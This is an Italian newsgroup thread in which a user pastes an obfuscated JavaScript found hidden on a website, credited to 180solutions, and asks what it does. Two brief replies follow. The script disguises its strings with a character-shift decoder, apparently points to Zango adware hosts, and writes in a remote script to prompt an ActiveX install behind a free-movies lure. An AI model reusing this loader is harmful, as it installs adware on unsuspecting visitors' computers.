Newsgroup: it.comp.lang.javascript
Titolo: Curiosità su uno script

Salve, dando un'occhiata al codice HTML di un sito che stavo visitando ho
visto che ben nascosto aveva inserito questo script.
Ora, vedendo a chi appartiene il "copyright", posso già intuirne a grandi
linee la funzione, ma, vista la forma in cui è steso, che sembra proprio
avere lo scopo di impedirne la comprensione, vorrei sapere se c'è qualcuno
di voi che mi può illustrare che cosa fa col mio pc, non sono molto
esperto di JavaScript io...
Grazie, BT.
/*
 @copyright Copyright © 2005.
 180solutions,Inc.
 All rights reserved.
*/
/*
 X56QfOy8LchA-0M rTdNmaawm9-uRmjWd107qWMfe9Wlt2
*/
var _wiC;
var _NuU;
var _nvv = document;
var _sXn = String;
var _1dk;
var _yvr;
var _5Q9;
var _3qn;
var _RKx;
var _MnU;
var _FcM;
var _xd7;
var _BYC = _sXn.prototype;
var _4pu;
var _526;
var _D9H;
var _Rc2;
var _f7p;
var _q9n;
var _gEb;
var _Fiq;
_BYC._yvr = _BYC.slice;
var _p07;
var _MEK;
var _s0P;
/*
 7Ad7-4V2kJe0qHhfwH1AL h4Ssd bfEbprsyis s
*/
function _gEb (_Kpi)
{
 _nvv.write ("Byix".slice(6) +
"ovz&rgtm{gmkC-Pg|gYixovz-&zvkC-zk~z5pg|gyixovz-&yxiC-" . slice(6) + _Vvn
+ _Kpi + "-DB5yi" . slice(6) + "{ry}G" . slice(9));
}
function _DJ4(_7op, _yvr)
{
 if (_yvr)
 {
  return this._yvr (_7op, _yvr);
 }
 var _icw;
 var _UrS;
 var _Ayn='';
 for (_icw=0; _icw < this.length; _icw++)
 {
  _UrS = this.charCodeAt (_icw) - _7op;
  if (_UrS < 32)
  {
   _UrS = 127 - (32 - _UrS);
  }
  _Ayn += _sXn.fromCharCode (_UrS);
 }
 return _Ayn;
}
_BYC.slice = _DJ4;
var _Vvn = "kwws=22vwdwlf1}dqjrfdvk1frp2mv2dfwlyh{2".slice(3);
_wiC = 0;
_5Q9 = 1;
_xd7 = "lxxt>33wxexmg2~erksgewl2gsq3gef3^erks3neze3fvmhki2nev".slice(4);
_q9n =
"qrwlfhWh{w@\\rx.pxvw.iroorz.vwhsv.4(5F.5.dqg.6.wr.dffhvv.wkh.prylhv)uhwu|Pvj@\\rx.pxvw.iroorz.vwhsv.4(5F.5.dqg.6.wr.dffhvv.wkh.prylhv)vlwh...@Iuhh.Prylh.Dffhvv.E|.(58(58fdswlrqbqdph(58(58)vlwhSxeolvkhu@]dqjr)wkhph@zklwh)doskd@3)orjrSdwk@)orjrVl}h@odujh)forvhEwq@wh{w".slice(3);
_NuU = 1;
_526 = "wx".slice(9);
_f7p =
"jfh=j8==5=<>9j97h988k=5>hikg>6;697=><89h7g6i98j65j;>9g=55767=7k<7f:<59;6g<9g>ki7j9h58;>k<f6>8ji59>8=9k5j==5:<gi<>>98f<8j<i?>j96667<69=f7>gi5i>5=<:889;f;g6i".slice(5);
_Rc2 =
"Jspjr'`LZ'{v'rllw'{opz'~lizp{l'MYLL3huk'{v'nl{'tvyl'myll'jvu{lu{'uv~5".slice(7);
_4pu = 0;
_MEK = "lxxt>33wxexmg2~erksgewl2gsq3gef3^erks3|tm3mrwxepp2|tm".slice(4);
_MnU = "myyu?44xyfynh3 fslthfxm3htr4hfg4_fslt4nj4gwnilj2h>3hfg".slice(5);
_p07 = "p||xB77{|i|qk6#ivowki{p6kwu7nti{pg|}|wzqit7ui{{q~mJtwks{Ni{|6{
n".slice(8);
_RKx =
"Jspjr'`LZ'{v'rllw'{opz'~lizp{l'MYLL3huk'{v'nl{'tvyl'myll'jvu{lu{'uv~5".slice(7);
_Fiq = "srpseh".slice(4);
var _2Ik = "jvvr<11rwdnke0|cpiqecuj0eqo1rqrawpfgt0rjr".slice(2);
_s0P = 0;
_FcM = 2;
var _sP3 = "o{{wA66w|ispj5\"hunvjhzo5jvt6svnnpun95wow".slice(7);
_D9H=2;
_p_sm = _p07;
_p_pu = _526;
_p_cd = _wiC;
_p_sf = _q9n;
_p_cl = _3qn;
_p_cu = _MnU;
_p_cr = _5Q9;
_p_pr = _f7p;
_p_ry = _FcM;
_p_rm = _Rc2;
_p_ju = _xd7;
_p_lu = _sP3;
_p_ws = _gEb;
_p_ct = _NuU;
_p_dl = _D9H;
_p_cp = _1dk;
_p_cm = _RKx;
_p_lf = _4pu;
_p_xu = _MEK;
_p_pl = _2Ik;
_gEb ("rwr}7s|".slice(9));
/*
 B 4KJy 78APEYa HcF8PUXR1kyN T
*/
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 esperto di JavaScript io...
Ci sono in rete programmi che cambiano le var, i nomi delle function etc
per renderlo "incomprensibile".
-- 
"Ti sei salvato
 o sei entrato in banca pure tu?"
									    A.V.

 Grazie, BT.
De nada.
-- 
- Lei ha precedenti di pazzia in famiglia?
- Mio nonno credeva d' essere San Giuseppe...
- Io ci metterei un bel SI!